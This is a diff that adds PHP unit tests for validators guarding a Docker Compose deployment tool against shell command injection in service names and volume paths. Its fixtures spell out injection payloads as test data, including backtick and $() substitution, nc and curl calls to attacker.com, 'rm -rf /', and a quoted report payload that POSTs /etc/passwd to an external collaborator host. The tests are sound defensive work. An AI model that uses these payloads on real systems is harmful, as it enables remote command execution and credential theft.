+});
+
+test('validateDockerComposeForInjection blocks pipes in service names', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web|cat /etc/passwd:
+    image: nginx:latest
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker Compose service name');
+});
+
+test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '/tmp/test; rm -rf /:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection allows legitimate compose files', function () {
+    $validCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - /var/www/html:/usr/share/nginx/html
+      - app-data:/data
+  db:
+    image: postgres:15
+    volumes:
+      - db-data:/var/lib/postgresql/data
+volumes:
+  app-data:
+  db-data:
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($validCompose))
+        ->not->toThrow(Exception::class);
+});
+
+test('validateDockerComposeForInjection allows environment variables in volumes', function () {
+    $validCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '${DATA_PATH}:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($validCompose))
+        ->not->toThrow(Exception::class);
+});
+
+test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '${DATA:-$(cat /etc/passwd)}:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection requires services section', function () {
+    $invalidCompose = <<<'YAML'
+version: '3'
+networks:
+  mynet:
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($invalidCompose))
+        ->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
+});
+
+test('validateDockerComposeForInjection handles empty volumes array', function () {
+    $validCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes: []
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($validCompose))
+        ->not->toThrow(Exception::class);
+});
+
+test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
+    $maliciousCompose = "services:\n  web:\n    image: nginx:latest\n    volumes:\n      - \"/tmp/test\ncurl attacker.com:/app\"";
+
+    // YAML parser will reject this before our validation (which is good!)
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class);
+});
+
+test('validateDockerComposeForInjection blocks redirections in volumes', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '/tmp/test > /etc/passwd:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection validates volume targets', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '/tmp/safe:/app`curl attacker.com`'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection handles multiple services', function () {
+    $validCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - /var/www:/usr/share/nginx/html
+  api:
+    image: node:18
+    volumes:
+      - /app/src:/usr/src/app
+  db:
+    image: postgres:15
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($validCompose))
+        ->not->toThrow(Exception::class);
+});
diff --git a/tests/Unit/ServiceNameSecurityTest.php b/tests/Unit/ServiceNameSecurityTest.php
new file mode 100644
index 000000000..56fcc51f5
--- /dev/null
+++ b/tests/Unit/ServiceNameSecurityTest.php
@@ -0,0 +1,242 @@
+<?php
+
+use App\Models\Service;
+use Symfony\Component\Yaml\Yaml;
+
+test('service names with backtick injection are rejected', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'evil`whoami`':
+    image: alpine
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class, 'backtick');
+});
+
+test('service names with command substitution are rejected', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'evil$(cat /etc/passwd)':
+    image: alpine
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('service names with pipe injection are rejected', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'web | nc attacker.com 1234':
+    image: nginx
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class, 'pipe');
+});
+
+test('service names with semicolon injection are rejected', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'web; curl attacker.com':
+    image: nginx
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class, 'separator');
+});
+
+test('service names with ampersand injection are rejected', function () {
+    $maliciousComposes = [
+        "services:\n  'web & curl attacker.com':\n    image: nginx",
+        "services:\n  'web && curl attacker.com':\n    image: nginx",
+    ];
+
+    foreach ($maliciousComposes as $compose) {
+        $parsed = Yaml::parse($compose);
+        $serviceName = array_key_first($parsed['services']);
+
+        expect(fn () => validateShellSafePath($serviceName, 'service name'))
+            ->toThrow(Exception::class, 'operator');
+    }
+});
+
+test('service names with redirection are rejected', function () {
+    $maliciousComposes = [
+        "services:\n  'web > /dev/null':\n    image: nginx",
+        "services:\n  'web < input.txt':\n    image: nginx",
+    ];
+
+    foreach ($maliciousComposes as $compose) {
+        $parsed = Yaml::parse($compose);
+        $serviceName = array_key_first($parsed['services']);
+
+        expect(fn () => validateShellSafePath($serviceName, 'service name'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('legitimate service names are accepted', function () {
+    $legitCompose = <<<'YAML'
+services:
+  web:
+    image: nginx
+  api:
+    image: node:20
+  database:
+    image: postgres:15
+  redis-cache:
+    image: redis:7
+  app_server:
+    image: python:3.11
+  my-service.com:
+    image: alpine
+YAML;
+
+    $parsed = Yaml::parse($legitCompose);
+
+    foreach ($parsed['services'] as $serviceName => $service) {
+        expect(fn () => validateShellSafePath($serviceName, 'service name'))
+            ->not->toThrow(Exception::class);
+    }
+});
+
+test('service names used in docker network connect command', function () {
+    // This demonstrates the actual vulnerability from StartService.php:41
+    $maliciousServiceName = 'evil`curl attacker.com`';
+    $uuid = 'test-uuid-123';
+    $network = 'coolify';
+
+    // Without validation, this would create a dangerous command
+    $dangerousCommand = "docker network connect --alias {$maliciousServiceName}-{$uuid} $network {$maliciousServiceName}-{$uuid}";
+
+    expect($dangerousCommand)->toContain('`curl attacker.com`');
+
+    // With validation, the service name should be rejected
+    expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
+        ->toThrow(Exception::class);
+});
+
+test('service name from the vulnerability report example', function () {
+    // The example could also target service names
+    $maliciousCompose = <<<'YAML'
+services:
+  'coolify`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`':
+    image: alpine
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class);
+});
+
+test('service names with newline injection are rejected', function () {
+    $maliciousServiceName = "web\ncurl attacker.com";
+
+    expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
+        ->toThrow(Exception::class, 'newline');
+});
+
+test('service names with variable substitution patterns are rejected', function () {
+    $maliciousNames = [
+        'web${PATH}',
+        'app${USER}',
+        'db${PWD}',
+    ];
+
+    foreach ($maliciousNames as $name) {
+        expect(fn () => validateShellSafePath($name, 'service name'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('service names provide helpful error messages', function () {
+    $maliciousServiceName = 'evil`command`';
+
+    try {
+        validateShellSafePath($maliciousServiceName, 'service name');
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('service name');
+        expect($e->getMessage())->toContain('backtick');
+    }
+});
+
+test('multiple malicious services in one compose file', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'web`whoami`':
+    image: nginx
+  'api$(cat /etc/passwd)':
+    image: node
+  database:
+    image: postgres
+  'cache; curl attacker.com':
+    image: redis
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceNames = array_keys($parsed['services']);
+
+    // First and second service names should fail
+    expect(fn () => validateShellSafePath($serviceNames[0], 'service name'))
+        ->toThrow(Exception::class);
+
+    expect(fn () => validateShellSafePath($serviceNames[1], 'service name'))
+        ->toThrow(Exception::class);
+
+    // Third service name should pass (legitimate)
+    expect(fn () => validateShellSafePath($serviceNames[2], 'service name'))
+        ->not->toThrow(Exception::class);
+
+    // Fourth service name should fail
+    expect(fn () => validateShellSafePath($serviceNames[3], 'service name'))
+        ->toThrow(Exception::class);
+});
+
+test('service names with spaces are allowed', function () {
+    // Spaces themselves are not dangerous - shell escaping handles them
+    // Docker Compose might not allow spaces in service names anyway, but we shouldn't reject them
+    $serviceName = 'my service';
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->not->toThrow(Exception::class);
+});
+
+test('common Docker Compose service naming patterns are allowed', function () {
+    $commonNames = [
+        'web',
+        'api',
+        'database',
+        'redis',
+        'postgres',
+        'mysql',
+        'mongodb',
+        'app-server',
+        'web_frontend',
+        'api.backend',
+        'db-01',
+        'worker_1',
+        'service123',
+    ];
+
+    foreach ($commonNames as $name) {
+        expect(fn () => validateShellSafePath($name, 'service name'))
+            ->not->toThrow(Exception::class);
+    }
+});
diff --git a/tests/Unit/ValidateShellSafePathTest.php b/tests/Unit/ValidateShellSafePathTest.php
new file mode 100644
index 000000000..8181670e2
--- /dev/null
+++ b/tests/Unit/ValidateShellSafePathTest.php
@@ -0,0 +1,150 @@
+<?php
+
+test('allows safe paths without special characters', function () {
+    $safePaths = [
+        '/var/lib/data',
+        './relative/path',
+        'named-volume',
+        'my_volume_123',
+        '/home/user/app/data',
+        'C:/Windows/Path',
+        '/path-with-dashes',
+        '/path_with_underscores',
+        'volume.with.dots',
+    ];
+
+    foreach ($safePaths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
+    }
+});
+
+test('blocks backtick command substitution', function () {
+    $path = '/tmp/pwn`curl attacker.com`';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'backtick');
+});
+
+test('blocks dollar-paren command substitution', function () {
+    $path = '/tmp/pwn$(cat /etc/passwd)';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('blocks pipe operators', function () {
+    $path = '/tmp/file | nc attacker.com 1234';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'pipe');
+});
+
+test('blocks semicolon command separator', function () {
+    $path = '/tmp/file; curl attacker.com';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'separator');
+});
+
+test('blocks ampersand operators', function () {
+    $paths = [
+        '/tmp/file & curl attacker.com',
+        '/tmp/file && curl attacker.com',
+    ];
+
+    foreach ($paths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))
+            ->toThrow(Exception::class, 'operator');
+    }
+});
+
+test('blocks redirection operators', function () {
+    $paths = [
+        '/tmp/file > /dev/null',
+        '/tmp/file < input.txt',
+        '/tmp/file >> output.log',
+    ];
+
+    foreach ($paths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('blocks newline command separator', function () {
+    $path = "/tmp/file\ncurl attacker.com";
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'newline');
+});
+
+test('blocks tab character as token separator', function () {
+    $path = "/tmp/file\tcurl attacker.com";
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'tab');
+});
+
+test('blocks complex command injection with the example from issue', function () {
+    $path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
+
+    expect(fn () => validateShellSafePath($path, 'volume source'))
+        ->toThrow(Exception::class);
+});
+
+test('blocks nested command substitution', function () {
+    $path = '/tmp/$(echo $(whoami))';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('blocks variable substitution patterns', function () {
+    $paths = [
+        '/tmp/${PWD}',
+        '/tmp/${PATH}',
+        'data/${USER}',
+    ];
+
+    foreach ($paths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('provides context-specific error messages', function () {
+    $path = '/tmp/evil`command`';
+
+    try {
+        validateShellSafePath($path, 'volume source');
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('volume source');
+    }
+
+    try {
+        validateShellSafePath($path, 'service name');
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('service name');
+    }
+});
+
+test('handles empty strings safely', function () {
+    expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class);
+});
+
+test('allows paths with spaces', function () {
+    // Spaces themselves are not dangerous in properly quoted shell commands
+    // The escaping should be handled elsewhere (e.g., escapeshellarg)
+    $path = '/path/with spaces/file';
+
+    expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
+});
+
+test('blocks multiple attack vectors in one path', function () {
+    $path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class);
+});
diff --git a/tests/Unit/VolumeArrayFormatSecurityTest.php b/tests/Unit/VolumeArrayFormatSecurityTest.php
new file mode 100644
index 000000000..97a6819b2
--- /dev/null
+++ b/tests/Unit/VolumeArrayFormatSecurityTest.php
@@ -0,0 +1,270 @@
+<?php
+
+use Symfony\Component\Yaml\Yaml;
+
+test('demonstrates array-format volumes from YAML parsing', function () {
+    // This is how Docker Compose long syntax looks in YAML
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - type: bind
+        source: ./data
+        target: /app/data
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $volumes = $parsed['services']['web']['volumes'];
+
+    // Verify this creates an array format
+    expect($volumes[0])->toBeArray();
+    expect($volumes[0])->toHaveKey('type');
+    expect($volumes[0])->toHaveKey('source');
+    expect($volumes[0])->toHaveKey('target');
+});
+
+test('malicious array-format volume with backtick injection', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/pwn`curl attacker.com`'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $volumes = $parsed['services']['evil']['volumes'];
+
+    // The malicious volume is now an array
+    expect($volumes[0])->toBeArray();
+    expect($volumes[0]['source'])->toContain('`');
+
+    // When applicationParser or serviceParser processes this,
+    // it should throw an exception due to our validation
+    $source = $volumes[0]['source'];
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class, 'backtick');
+});
+
+test('malicious array-format volume with command substitution', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/pwn$(cat /etc/passwd)'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['evil']['volumes'][0]['source'];
+
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('malicious array-format volume with pipe injection', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/file | nc attacker.com 1234'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['evil']['volumes'][0]['source'];
+
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class, 'pipe');
+});
+
+test('malicious array-format volume with semicolon injection', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/file; curl attacker.com'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['evil']['volumes'][0]['source'];
+
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class, 'separator');
+});
+
+test('exact example from security report in array format', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  coolify:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['coolify']['volumes'][0]['source'];
+
+    // This should be caught by validation
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class);
+});
+
+test('legitimate array-format volumes are allowed', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - type: bind
+        source: ./data
+        target: /app/data
+      - type: bind
+        source: /var/lib/data
+        target: /data
+      - type: volume
+        source: my-volume
+        target: /app/volume
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $volumes = $parsed['services']['web']['volumes'];
+
+    // All these legitimate volumes should pass validation
+    foreach ($volumes as $volume) {
+        $source = $volume['source'];
+        expect(fn () => validateShellSafePath($source, 'volume source'))
+            ->not->toThrow(Exception::class);
+    }
+});
+
+test('array-format with environment variables', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - type: bind
+        source: ${DATA_PATH}
+        target: /app/data
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['web']['volumes'][0]['source'];
+
+    // Simple environment variables should be allowed
+    expect($source)->toBe('${DATA_PATH}');
+    // Our validation allows simple env var references
+    $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
+    expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true
+});
+
+test('array-format with safe environment variable default', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - type: bind
+        source: '${DATA_PATH:-./data}'
+        target: /app/data
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['web']['volumes'][0]['source'];
+
+    // Parse correctly extracts the source value
+    expect($source)->toBe('${DATA_PATH:-./data}');
+
+    // Safe environment variable with benign default should be allowed
+    // The pre-save validation skips env vars with safe defaults
+    expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
+        ->not->toThrow(Exception::class);
+});
+
+test('array-format with malicious environment variable default', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '${VAR:-/tmp/evil`whoami`}'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['evil']['volumes'][0]['source'];
+
+    // This contains backticks and should fail validation
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class);
+});
+
+test('mixed string and array format volumes in same compose', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - './safe/data:/app/data'
+      - type: bind
+        source: ./another/safe/path
+        target: /app/other
+      - '/tmp/evil`whoami`:/app/evil'
+      - type: bind
+        source: '/tmp/evil$(id)'
+        target: /app/evil2
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $volumes = $parsed['services']['web']['volumes'];
+
+    // String format malicious volume (index 2)
+    expect(fn () => parseDockerVolumeString($volumes[2]))
+        ->toThrow(Exception::class);
+
+    // Array format malicious volume (index 3)
+    $source = $volumes[3]['source'];
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class);
+
+    // Legitimate volumes should work (indexes 0 and 1)
+    expect(fn () => parseDockerVolumeString($volumes[0]))
+        ->not->toThrow(Exception::class);
+
+    $safeSource = $volumes[1]['source'];
+    expect(fn () => validateShellSafePath($safeSource, 'volume source'))
+        ->not->toThrow(Exception::class);
+});
+
+test('array-format target path injection is also blocked', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: ./data
+        target: '/app`whoami`'
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $target = $parsed['services']['evil']['volumes'][0]['target'];
+
+    // Target paths should also be validated
+    expect(fn () => validateShellSafePath($target, 'volume target'))
+        ->toThrow(Exception::class, 'backtick');
+});
diff --git a/tests/Unit/VolumeSecurityTest.php b/tests/Unit/VolumeSecurityTest.php
new file mode 100644
index 000000000..d7f20fc0e
--- /dev/null
+++ b/tests/Unit/VolumeSecurityTest.php
@@ -0,0 +1,186 @@
+<?php
+
+test('parseDockerVolumeString rejects command injection in source path', function () {
+    $maliciousVolume = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`:/app';
+
+    expect(fn () => parseDockerVolumeString($maliciousVolume))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('parseDockerVolumeString rejects backtick injection', function () {
+    $maliciousVolumes = [
+        '`whoami`:/app',
+        '/tmp/evil`id`:/data',
+        './data`nc attacker.com 1234`:/app/data',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString rejects dollar-paren injection', function () {
+    $maliciousVolumes = [
+        '$(whoami):/app',
+        '/tmp/evil$(cat /etc/passwd):/data',
+        './data$(curl attacker.com):/app/data',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString rejects pipe injection', function () {
+    $maliciousVolume = '/tmp/file | nc attacker.com 1234:/app';
+
+    expect(fn () => parseDockerVolumeString($maliciousVolume))
+        ->toThrow(Exception::class);
+});
+
+test('parseDockerVolumeString rejects semicolon injection', function () {
+    $maliciousVolume = '/tmp/file; curl attacker.com:/app';
+
+    expect(fn () => parseDockerVolumeString($maliciousVolume))
+        ->toThrow(Exception::class);
+});
+
+test('parseDockerVolumeString rejects ampersand injection', function () {
+    $maliciousVolumes = [
+        '/tmp/file & curl attacker.com:/app',
+        '/tmp/file && curl attacker.com:/app',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString accepts legitimate volume definitions', function () {
+    $legitimateVolumes = [
+        'gitea:/data',
+        './data:/app/data',
+        '/var/lib/data:/data',
+        '/etc/localtime:/etc/localtime:ro',
+        'my-app_data:/var/lib/app-data',
+        'C:/Windows/Data:/data',
+        '/path-with-dashes:/app',
+        '/path_with_underscores:/app',
+        'volume.with.dots:/data',
+    ];
+
+    foreach ($legitimateVolumes as $volume) {
+        $result = parseDockerVolumeString($volume);
+        expect($result)->toBeArray();
+        expect($result)->toHaveKey('source');
+        expect($result)->toHaveKey('target');
+    }
+});
+
+test('parseDockerVolumeString accepts simple environment variables', function () {
+    $volumes = [
+        '${DATA_PATH}:/data',
+        '${VOLUME_PATH}:/app',
+        '${MY_VAR_123}:/var/lib/data',
+    ];
+
+    foreach ($volumes as $volume) {
+        $result = parseDockerVolumeString($volume);
+        expect($result)->toBeArray();
+        expect($result['source'])->not->toBeNull();
+    }
+});
+
+test('parseDockerVolumeString rejects environment variables with command injection in default', function () {
+    $maliciousVolumes = [
+        '${VAR:-`whoami`}:/app',
+        '${VAR:-$(cat /etc/passwd)}:/data',
+        '${PATH:-/tmp;curl attacker.com}:/app',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString accepts environment variables with safe defaults', function () {
+    $safeVolumes = [
+        '${VOLUME_DB_PATH:-db}:/data/db',
+        '${DATA_PATH:-./data}:/app/data',
+        '${VOLUME_PATH:-/var/lib/data}:/data',
+    ];
+
+    foreach ($safeVolumes as $volume) {
+        $result = parseDockerVolumeString($volume);
+        expect($result)->toBeArray();
+        expect($result['source'])->not->toBeNull();
+    }
+});
+
+test('parseDockerVolumeString rejects injection in target path', function () {
+    // While target paths are less dangerous, we should still validate them
+    $maliciousVolumes = [
+        '/data:/app`whoami`',
+        './data:/tmp/evil$(id)',
+        'volume:/data; curl attacker.com',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString rejects the exact example from the security report', function () {
+    $exactMaliciousVolume = '/tmp/pwn`curl https://78dllxcupr3aicoacj8k7ab8jzpqdt1i.oastify.com -X POST --data "$(cat /etc/passwd)"`:/app';
+
+    expect(fn () => parseDockerVolumeString($exactMaliciousVolume))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('parseDockerVolumeString provides helpful error messages', function () {
+    $maliciousVolume = '/tmp/evil`command`:/app';
+
+    try {
+        parseDockerVolumeString($maliciousVolume);
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('Invalid Docker volume definition');
+        expect($e->getMessage())->toContain('backtick');
+        expect($e->getMessage())->toContain('volume source');
+    }
+});
+
+test('parseDockerVolumeString handles whitespace with malicious content', function () {
+    $maliciousVolume = '  /tmp/evil`whoami`:/app  ';
+
+    expect(fn () => parseDockerVolumeString($maliciousVolume))
+        ->toThrow(Exception::class);
+});
+
+test('parseDockerVolumeString rejects redirection operators', function () {
+    $maliciousVolumes = [
+        '/tmp/file > /dev/null:/app',
+        '/tmp/file < input.txt:/app',
+        './data >> output.log:/app',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString rejects newline and tab in volume strings', function () {
+    // Newline can be used as command separator
+    expect(fn () => parseDockerVolumeString("/data\n:/app"))
+        ->toThrow(Exception::class);
+
+    // Tab can be used as token separator
+    expect(fn () => parseDockerVolumeString("/data\t:/app"))
+        ->toThrow(Exception::class);
+});
diff --git a/tests/Unit/WindowsPathVolumeTest.php b/tests/Unit/WindowsPathVolumeTest.php
new file mode 100644
index 000000000..1d3af6abd
--- /dev/null
+++ b/tests/Unit/WindowsPathVolumeTest.php
@@ -0,0 +1,64 @@
+<?php
+
+test('parseDockerVolumeString correctly handles Windows paths with drive letters', function () {
+    $windowsVolume = 'C:\\host\\path:/container';
+
+    $result = parseDockerVolumeString($windowsVolume);
+
+    expect((string) $result['source'])->toBe('C:\\host\\path');
+    expect((string) $result['target'])->toBe('/container');
+});
+
+test('validateVolumeStringForInjection correctly handles Windows paths via parseDockerVolumeString', function () {
+    $windowsVolume = 'C:\\Users\\Data:/app/data';
+
+    // Should not throw an exception
+    validateVolumeStringForInjection($windowsVolume);
+
+    // If we get here, the test passed
+    expect(true)->toBeTrue();
+});
+
+test('validateVolumeStringForInjection rejects malicious Windows-like paths', function () {
+    $maliciousVolume = 'C:\\host\\`whoami`:/container';
+
+    expect(fn () => validateVolumeStringForInjection($maliciousVolume))
+        ->toThrow(\Exception::class);
+});
+
+test('validateDockerComposeForInjection handles Windows paths in compose files', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - C:\Users\Data:/app/data
+YAML;
+
+    // Should not throw an exception
+    validateDockerComposeForInjection($dockerComposeYaml);
+
+    expect(true)->toBeTrue();
+});
+
+test('validateDockerComposeForInjection rejects Windows paths with injection', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - C:\Users\$(whoami):/app/data
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
+        ->toThrow(\Exception::class);
+});
+
+test('Windows paths with complex paths and spaces are handled correctly', function () {
+    $windowsVolume = 'C:\\Program Files\\MyApp:/app';
+
+    $result = parseDockerVolumeString($windowsVolume);
+
+    expect((string) $result['source'])->toBe('C:\\Program Files\\MyApp');
+    expect((string) $result['target'])->toBe('/app');
+});